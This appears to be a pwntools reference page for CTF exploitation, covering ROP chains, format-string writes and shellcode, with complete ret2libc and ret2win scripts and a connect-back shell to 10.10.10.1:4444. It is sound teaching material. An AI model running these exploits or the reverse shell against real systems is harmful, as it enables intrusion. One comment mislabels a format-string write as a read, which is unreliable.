콘텐츠로 이동

pwntools

Overview

pwntools is a Python library and framework for binary exploitation and Capture The Flag (CTF) competitions, developed and maintained by Gallopsled. It provides high-level abstractions for interacting with local processes and remote network services, packing/unpacking integers, constructing ROP chains, generating shellcode via shellcraft, parsing ELF binaries, performing format string exploitation, and integrating with GDB for debugging. pwntools significantly accelerates exploit development by handling low-level plumbing so you can focus on the vulnerability.

Warning: pwntools is designed for authorized security research, CTF competitions, and educational use. Use only on systems you own or have explicit permission to test.

Installation

pip install pwntools
python -c "from pwn import *; print(pwnlib.__version__)"

apt + pip (Debian/Ubuntu/Kali)

sudo apt-get install python3-pip
pip3 install --upgrade pwntools

From source

git clone https://github.com/Gallopsled/pwntools.git
cd pwntools
pip install -e .

Required tools for full functionality

# GDB with pwndbg or peda
sudo apt-get install gdb
pip install pwndbg  # Or: git clone https://github.com/pwndbg/pwndbg

# Additional tools
sudo apt-get install binutils-multiarch  # Cross-arch tools
sudo apt-get install nasm                # Assembler
sudo apt-get install qemu-user           # Cross-arch emulation
sudo apt-get install ROPgadget           # ROP gadget finder
pip install ROPgadget

Verify

pwn version
pwn help
python3 -c "from pwn import *; print(context.os, context.arch)"

Configuration

Context settings

from pwn import *

# Architecture and OS (affects shellcode, packing, etc.)
context.arch = 'amd64'          # i386 | amd64 | arm | aarch64 | mips | powerpc
context.os = 'linux'            # linux | windows | freebsd
context.bits = 64               # 32 | 64
context.endian = 'little'       # little | big

# Logging verbosity
context.log_level = 'debug'     # debug | info | warning | error | critical
context.log_level = 'info'      # Default

# Timeout
context.timeout = 10            # Seconds

# One-liner context setting
context(arch='amd64', os='linux', log_level='debug')

# Per-binary context from ELF
elf = ELF('./vuln')
context.binary = elf            # Sets arch/bits/os from binary headers

Script template

#!/usr/bin/env python3
from pwn import *

# Target binary and libc
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
rop = ROP(elf)

# Connection type
LOCAL = True
if LOCAL:
    p = process(elf.path)
    # p = gdb.debug(elf.path, gdbscript='''
    #     break *main
    #     continue
    # ''')
else:
    p = remote('challenge.ctf.com', 1337)

# Exploit here
payload = b'A' * 64
p.sendline(payload)

p.interactive()

Core Commands

Function / MethodDescription
process('./vuln')Spawn a local process
remote('host', port)Connect to remote TCP service
ssh(host='h', user='u', password='p')SSH connection
p.send(data)Send raw bytes
p.sendline(data)Send bytes + newline
p.recv(n)Receive n bytes
p.recvline()Receive until newline
p.recvuntil(b'> ')Receive until delimiter
p.recvall()Receive until EOF
p.interactive()Drop to interactive shell
p.close()Close connection
p64(addr)Pack 64-bit little-endian
p32(addr)Pack 32-bit little-endian
u64(bytes)Unpack 64-bit little-endian
u32(bytes)Unpack 32-bit little-endian
flat(*args)Pack multiple values
cyclic(n)Generate De Bruijn cyclic pattern
cyclic_find(value)Find offset in cyclic pattern
ELF('./binary')Parse ELF binary
ROP(elf)Create ROP chain builder
asm(shellcode)Assemble instructions
disasm(bytes)Disassemble bytes
shellcraft.sh()Generate /bin/sh shellcode
log.info('msg')Colored log output
pause()Pause for GDB attach
gdb.attach(p)Attach GDB to process

Advanced Usage

Process and remote interaction

from pwn import *

# Local process with arguments
p = process(['./vuln', 'arg1', 'arg2'])
p = process('./vuln', env={'LD_PRELOAD': './libc.so.6'})

# Remote TCP
p = remote('pwn.ctf.com', 4444)

# Remote with SSL
p = remote('pwn.ctf.com', 4443, ssl=True)

# SSH tunnel
s = ssh('ubuntu', 'host.example.com', password='secret')
p = s.process('./vuln')

# Send and receive patterns
p.sendafter(b'Input: ', b'exploit data')
p.sendlineafter(b'>>> ', b'command')

# Receive with timeout
data = p.recvuntil(b'$', timeout=5)

# Leak addresses from output
p.recvuntil(b'address: ')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f'Leaked address: {hex(leak)}')

Packing and unpacking

from pwn import *
context.arch = 'amd64'

# Integer packing
p64(0xdeadbeefcafebabe)   # b'\xbe\xba\xfe\xca\xef\xbe\xad\xde'
p32(0xdeadbeef)            # b'\xef\xbe\xad\xde'
p16(0x1337)                # b'7\x13'
p8(0x41)                   # b'A'

# Big-endian packing
p64(0xdeadbeef, endian='big')

# Unpacking
u64(b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')   # 0xdeadbeefcafebabe
u32(b'\xef\xbe\xad\xde')                     # 0xdeadbeef

# Null-padded unpack (for leaked addresses)
leak_bytes = b'\x78\x56\x34\x12\x00\x00'
addr = u64(leak_bytes.ljust(8, b'\x00'))

# flat() — pack multiple values in one call
payload = flat(
    b'A' * 40,          # Padding
    0xdeadbeef,         # Return address (auto-packed for context.arch)
    b'/bin/sh\x00',     # String
)

Finding offsets with cyclic patterns

from pwn import *

# Generate pattern to send to binary
pattern = cyclic(200)
p = process('./vuln')
p.sendline(pattern)
p.wait()

# From GDB: read the value in RIP/EIP at crash
# (gdb) x/gx $rsp → 0x6161616c61616161

# Find offset
offset = cyclic_find(0x6161616c)   # 32-bit value from EIP
offset = cyclic_find(b'laaa')       # From bytes
log.info(f'Offset: {offset}')

# Or from core dump
core = Corefile('./core')
offset = cyclic_find(core.rsp)

ELF binary analysis

from pwn import *

elf = ELF('./vuln')

# Binary properties
print(elf.arch)          # amd64
print(elf.bits)          # 64
print(elf.pie)           # True/False (Position Independent)
print(elf.nx)            # True/False (NX/DEP enabled)
print(elf.canary)        # True/False (Stack canary)
print(elf.relro)         # 'No' | 'Partial' | 'Full'

# Symbol resolution
elf.symbols['main']      # Address of main()
elf.got['puts']          # GOT entry for puts
elf.plt['puts']          # PLT stub for puts
elf.functions['vuln']    # Address of vuln function

# Sections
elf.bss()                # BSS segment address
elf.data()               # Data segment address

# Search for strings / bytes
next(elf.search(b'/bin/sh'))     # Find /bin/sh string in binary
next(elf.search(b'\x90\x90'))    # Find NOP bytes

# With base address (PIE bypass)
elf.address = 0x555555554000     # Set base after leak
elf.symbols['main']              # Now returns correct absolute address

ROP chain construction

from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)

# Find gadgets
rop.find_gadget(['pop rdi', 'ret'])   # Find specific gadget
rop.find_gadget(['ret'])               # Just a ret gadget (for stack alignment)

# Build ROP chain
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(elf.search(b'/bin/sh\x00')))
rop.raw(elf.plt['system'])

# Pretty print the chain
print(rop.dump())

# Get raw bytes
chain = bytes(rop)
payload = b'A' * offset + chain

# ret2libc example
libc = ELF('./libc.so.6')
rop = ROP([elf, libc])
rop.system(next(libc.search(b'/bin/sh\x00')))

Shellcode generation with shellcraft

from pwn import *
context(arch='amd64', os='linux')

# Generate /bin/sh shellcode
sc = asm(shellcraft.sh())

# Generate connect-back shell
sc = asm(shellcraft.connect('10.10.10.1', 4444) + shellcraft.dupsh())

# Generate read/write shellcode
sc = asm(shellcraft.linux.read(0, 'rsp', 100))

# Show assembly source
print(shellcraft.sh())

# Encode shellcode (avoid bad chars)
encoded = asm(shellcraft.sh())
print(f'Shellcode length: {len(encoded)} bytes')
print(enhex(encoded))

# Common shellcraft modules
shellcraft.amd64.linux.sh()        # x86-64 Linux shell
shellcraft.i386.linux.sh()         # x86 Linux shell
shellcraft.arm.linux.sh()          # ARM Linux shell
shellcraft.aarch64.linux.sh()      # AArch64 Linux shell

Format string exploitation

from pwn import *

p = process('./vuln')

# Find format string offset
# Send: AAAA.%p.%p.%p.%p...
# Find where 0x41414141 appears — that's your offset

offset = 7   # Format string argument offset

# Read from arbitrary address (GOT leak)
target_addr = elf.got['puts']
payload = fmtstr_payload(offset, {target_addr: 0})  # Read only
p.sendline(payload)

# Write to arbitrary address
writes = {
    elf.got['puts']: elf.plt['system']  # Overwrite puts GOT with system
}
payload = fmtstr_payload(offset, writes)
p.sendline(payload)

# Manual format string read
payload = p64(target_addr) + b'%7$s'  # Read string at address
p.sendline(payload)
leak = p.recvuntil(b'\x00')[8:]       # Skip the address bytes

GDB integration

from pwn import *

elf = ELF('./vuln')

# Spawn under GDB
p = gdb.debug('./vuln', gdbscript='''
    break *main
    break *0x400611
    commands
        silent
        x/20gx $rsp
        continue
    end
    continue
''')

# Attach GDB to running process
p = process('./vuln')
gdb.attach(p, '''
    set follow-fork-mode child
    break *vuln
    continue
''')

# Add a pause() in your script where you want to attach manually
p = process('./vuln')
pause()   # Script waits; run "gdb -p <PID>" manually

# Or use pwngdb / pwndbg with:
# gdb ./vuln
# source /path/to/pwndbg/gdbinit.py

Common Workflows

Stack buffer overflow (ret2win)

#!/usr/bin/env python3
from pwn import *

elf = ELF('./vuln')
context.binary = elf
p = process(elf.path)

# Find offset: cyclic pattern + crash analysis
offset = 40

# Build payload
payload  = b'A' * offset
payload += p64(elf.symbols['win'])   # Return to win()

p.sendlineafter(b'Input: ', payload)
p.interactive()

ret2libc (leak + exploit)

#!/usr/bin/env python3
from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6')
context.binary = elf

p = process(elf.path)
rop = ROP(elf)

# --- Stage 1: Leak libc address via puts(puts@got) ---
offset = 40
ret_gadget = rop.find_gadget(['ret'])[0]     # Stack alignment
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])          # Return to main for stage 2

p.sendlineafter(b'Input: ', payload)
p.recvline()                                  # Consume echo

# Parse leaked address
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'Leaked puts@libc: {hex(leak)}')

libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')

# --- Stage 2: system('/bin/sh') ---
bin_sh = next(libc.search(b'/bin/sh\x00'))

payload  = b'A' * offset
payload += p64(ret_gadget)                   # Align stack
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(libc.symbols['system'])

p.sendlineafter(b'Input: ', payload)
p.interactive()

CTF quick interaction boilerplate

#!/usr/bin/env python3
from pwn import *

HOST, PORT = 'ctf.example.com', 1337
LOCAL = args.LOCAL   # Run: python exploit.py LOCAL

if LOCAL:
    p = process('./chall')
else:
    p = remote(HOST, PORT)

# Main exploit
def exploit():
    offset = cyclic_find(0x61616172)  # Pre-determined
    
    payload = flat({offset: p64(0xdeadbeef)})
    
    p.sendlineafter(b'> ', payload)
    p.interactive()

try:
    exploit()
except EOFError:
    log.error('Connection closed — exploit likely crashed')

Tips and Best Practices

Always set context.binary = ELF('./target'). This automatically configures architecture, bitness, OS, and endianness from the binary’s ELF headers, preventing subtle misconfigurations when packing values.

Use cyclic() and cyclic_find() for offset discovery. Sending a De Bruijn sequence and reading the crash value from GDB is far faster than binary searching for offsets manually.

Log every leak immediately. Use log.success(f'Leaked: {hex(leak)}') after every address leak. Clear logging saves significant debugging time when the exploit breaks across script runs.

Use p.recvuntil() rather than fixed-length reads. Timing and buffering variations mean p.recv(8) may return fewer than 8 bytes. recvuntil(delimiter) is deterministic and robust.

Check stack alignment before system() calls. On x86-64 Linux, system() requires 16-byte stack alignment. If it crashes inside do_system, add an extra ret gadget before your payload to align the stack.

Use fmtstr_payload() for format string writes. pwntools calculates the exact format string payload for arbitrary memory writes, handling the complex offset and width arithmetic automatically.

Test locally first with the exact libc version. Copy the target binary’s libc.so.6 from the remote server (p.libs() can help) and run locally with LD_PRELOAD=./libc.so.6. Gadget offsets vary between libc versions.

Use gdb.attach() with a pause(). Place a pause() before the critical send, attach GDB, then press Enter to continue. This gives you live visibility into register and stack state at the exact moment of exploitation.

Prefer flat() over manual concatenation. flat(b'A'*40, elf.symbols['win'], b'/bin/sh\x00') is more readable and handles packing automatically according to context.arch.

Study previous CTF writeups. pwntools is best learned by reading writeups and published exploits from CTF competitions like pwn.college, picoCTF, and DEF CON CTF qualifiers. The techniques compound — each challenge teaches primitives reused in harder ones.